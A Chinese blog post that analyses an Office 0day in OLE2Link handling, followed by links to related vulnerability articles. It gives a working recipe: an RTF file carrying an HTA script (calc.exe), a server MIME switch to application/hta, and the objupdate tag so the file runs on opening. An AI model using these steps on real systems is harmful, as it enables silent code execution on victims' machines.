最新OFFICE 0day漏洞分析
漏洞概述
fireeye最近公布了一个OFFICE 0day,在无需用户交互的情况下,打开word文档就可以通过hta脚本执行任意代码。经过研究发现,此漏洞的成因主要是word在处理内嵌OLE2LINK对象时,通过网络更新对象时没有正确处理的Content-Type所导致的一个逻辑漏洞。
漏洞利用方法
首先准备一台apache服务器,web根目录下保存一个1.rtf文件,内容如下:
test789
<script>
var objShell = new ActiveXObject("wscript.shell");
objShell.Run("%SystemRoot%\\system32\\calc.exe");
</script>
确保apache配置文件conf/mime.types里面有rtf的content type项:
application/rtf rtf
用word生成一个空白文档,然后在其中插入一个对象。
选择由文件创建,输入web服务器上1.rtf的URL,一定要选上“链接到文件”:
这时候会生成一个有test789文字内嵌对象的文档,这是双击该对象只能以rtf文件方式打开对象,并不能执行hta脚本。因为生成对象的时候选中“链接到文件”,所以当打开对象的时候会去服务器上请求http://192.168.1.108/1.rtf来更新对象内容。
此时在apache配置文件conf/mime.types中把
application/rtf rtf
修改成:
application/hta rtf
重启apache后,清除IE缓存:
再双击对象,此时虽然访问的还是1.rtf文件,但是服务器的Content-type会返回application/hta,而word就以hta脚本的方式打开文件:
这样的poc还是需要用户双击对象进行交互的,那么怎么样才能自动运行对象呢?这里就需要把文件保存成rtf格式:
用文本编辑器打开刚保存的rtf文件,找到object标签所在的地方:
把
{\object\objautlink\rsltpict
修改成:
{\object\objautlink\objupdate\rsltpict
保存文件再重新打开。此时无需用户交互就可直接运行hta脚本弹出计算器:
关键点在于objupdate,这个标签的作用是可以自动更新对象,因此无需用户交互。此时已经可以达到通过hta脚本执行任意代码的目的,至于hta脚本就是八仙过海各显神通了。
修复方案
下载微软紧急更新补丁:
https://support.microsoft.com/en-us/help/4014793/title
最新OFFICE 0day漏洞分析的更多相关文章
- 最新windows 0day漏洞利用
利用视屏:https://v.qq.com/iframe/player.html?vid=g0393qtgvj0&tiny=0&auto=0 使用方法 环境搭建 注意,必须安装32位p ...
- MySQL 0Day漏洞出现 该漏洞可以拿到本地Root权限
2016年9月12日, legalhackers.com网站发布了编号为CVE-2016-6662的0day漏洞公告 .由于该漏洞可以获得MySQL服务器的Root权限,且影响MySql5.5.5.6 ...
- CVE-2011-0104 Microsoft Office Excel缓冲区溢出漏洞 分析
漏洞简述 Microsoft Excel是Microsoft Office组件之一,是流行的电子表格处理软件. Microsoft Excel中存在缓冲区溢出漏洞,远程攻击者可利用此 ...
- cve-2010-3333 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 分析
用的是泉哥的POC来调的这个漏洞 0x0 漏洞调试 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 Microsoft Office 是微软发布的非常流行的办公 ...
- 书评第003篇:《0day安全:软件漏洞分析技术(第2版)》
本书基本信息 丛书名:安全技术大系 作者:王清(主编),张东辉.周浩.王继刚.赵双(编著) 出版社:电子工业出版社 出版时间:2011-6-1 ISBN:9787121133961 版次:1 页数:7 ...
- 《0day安全软件漏洞分析技术》学习笔记
最近因为工作需要在看0day的软件漏洞分析,发现这本<0day安全软件漏洞分析技术(第2版)>真是本好书,唯一缺点就是书上的环境是Windows XP 32Bit的,基于现状难以进行实践, ...
- 【漏洞分析】dedecms有前提前台任意用户密码修改
0x00 前言 早上浏览sec-news,发现锦行信息安全发布了一篇文章<[漏洞分析] 织梦前台任意用户密码修改>,看完之后就想着自己复现一下. 该漏洞的精髓是php的弱类型比较,'0. ...
- Flash 0day漏洞(CVE-2018-4878)复现
该漏洞影响 Flash Player 当前最新版本28.0.0.137以及之前的所有版本,而Adobe公司计划在当地时间2月5日紧急发布更新来修复此漏洞. 本文作者:i春秋作家——F0rmat 前言 ...
- CVE-2017-7269—IIS 6.0 WebDAV远程代码执行漏洞分析
漏洞描述: 3月27日,在Windows 2003 R2上使用IIS 6.0 爆出了0Day漏洞(CVE-2017-7269),漏洞利用PoC开始流传,但糟糕的是这产品已经停止更新了.网上流传的poc ...
随机推荐
- UNIX环境高级编程 第14章 高级I/O
这一章涉及很多概念和函数,包括:非阻塞I/O.记录锁.I/O复用.异步I/O.readv和writev函数以及内存映射. 非阻塞I/O 在Unix中,可以将系统调用分为两种,一种是“低速”系统调用,另 ...
- java所搜引擎slor学习笔记(一)
java搜索引擎有很多,比较熟悉的就是slor和lucene. luncene: 概念:全文检索是计算机程序通过扫描文章中的每一个词,对每一个词建立一个索引,指明该词在文章中出现的次数和位置.当用户查 ...
- Strusts2笔记8--文件的上传和下载
文件的和上传和下载: (1)文件的上传: Struts是通过拦截器实现文件上传的,而默认拦截器栈中包含了文件上传拦截器,故表单通过Struts2可直接将文件上传,其底层是通过apache的common ...
- 查看oracle数据库日志存放位置
1,默认情况下,oracle的日志文件记录在$ORACLE/rdbms/log目录下 [oracle@oracle log]$ pwd /home/oracle/oracle/product/11.2 ...
- python3 切换工作文件夹
python3 默认的工作文件夹在Python安装路径下.如下为查看工作文件夹路径: >>> import os >>> os.getcwd() 'D:\\Work ...
- JavaBean的实用工具Lombok(省去get、set等方法)
转:https://blog.csdn.net/ghsau/article/details/52334762 背景 我们在开发过程中,通常都会定义大量的JavaBean,然后通过IDE去生成其属性 ...
- 洛谷P1525关押罪犯
传送门啦 想让最大值最小,所以,这题可以用二分法,排序之后发现可以并查集,因为要使最大值最小,排序后这个最大值是存在的. 对于会冲突的两个罪犯,我们连一条无向边,然后按权值从大到小排序,从大到小枚举每 ...
- type Iterator does not take parameters
在ubuntu编译java程序时报错:type Iterator does not take parameters 源码如下: package object; import java.util.*; ...
- more命令 less命令
more命令是一个基于vi编辑器文本过滤器,它以全屏幕的方式按页显示文本文件的内容,支持vi中的关键字定位操作.more名单中内置了若干快捷键,常用的有H(获得帮助信息),Enter(向下翻滚一行), ...
- 团体队列(UVa540)
题目具体描述见:https://uva.onlinejudge.org/index.php?option=com_onlinejudge&Itemid=8&page=show_prob ...